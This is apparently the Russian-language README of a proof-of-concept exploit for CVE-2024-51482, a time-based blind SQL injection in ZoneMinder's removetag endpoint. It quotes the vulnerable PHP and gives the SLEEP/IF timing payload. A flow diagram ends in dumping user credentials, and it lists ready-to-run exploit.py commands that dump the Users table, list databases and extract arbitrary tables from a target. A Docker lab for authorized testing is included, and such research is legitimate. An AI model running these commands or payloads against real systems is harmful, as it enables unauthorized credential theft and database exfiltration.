
PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных.
⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.
Этот репозиторий содержит PoC time-based SQL инъекции, нацеленной на ZoneMinder.
Инструмент позволяет:
Также включает полностью воспроизводимую Docker-лабораторию для безопасного тестирования.
ZoneMinder — это бесплатное программное обеспечение с открытым исходным кодом для систем видеонаблюдения. Уязвимость возникает из-за недостаточной проверки входных данных в эндпоинте removetag. Вводимые пользователем данные напрямую включаются в SQL-запросы без должной санитизации или параметризации, что позволяет злоумышленникам внедрять вредоносные boolean-based SQL-нагрузки. Эксплойт использует:
SLEEP(x - IF(condition, 0, x))
для извлечения данных через задержки ответа.
Фрагмент уязвимого кода из уведомления разработчиков Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Атакующий Веб-приложение ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← аутентифицированная сессия
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Выполнение SQL boolean-запроса
│ IF(условие, без задержки, SLEEP)
│◄────────────────────────────────────────│
│ Задержанный ответ (timing oracle) │ ← условие определено
│ │
│ Повторные запросы │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Различия во времени раскрывают символы │
│ │
│ Бинарный поиск по каждому символу │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Извлечённые данные (по 1 символу) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Полное раскрытие базы данных │
│ │
✓ Полная эксфильтрация данных через blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Настройте переменные окружения
docker compose up -d
Без указания флагов инструмент аутентифицируется на цели, проверяет её уязвимость и, если она уязвима, выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users (команда dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Только проверяет, уязвима ли цель.
python exploit.py -t http://target/zm -u <username> -p <password> check
Выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users. Команда по умолчанию, если не указана другая.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Выводит все базы данных.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Выводит таблицы в указанной базе данных.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Выводит столбцы указанной таблицы.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Выполняет дамп всех данных из указанной таблицы.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
Также можно указать столбцы для дампа (по умолчанию — все):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2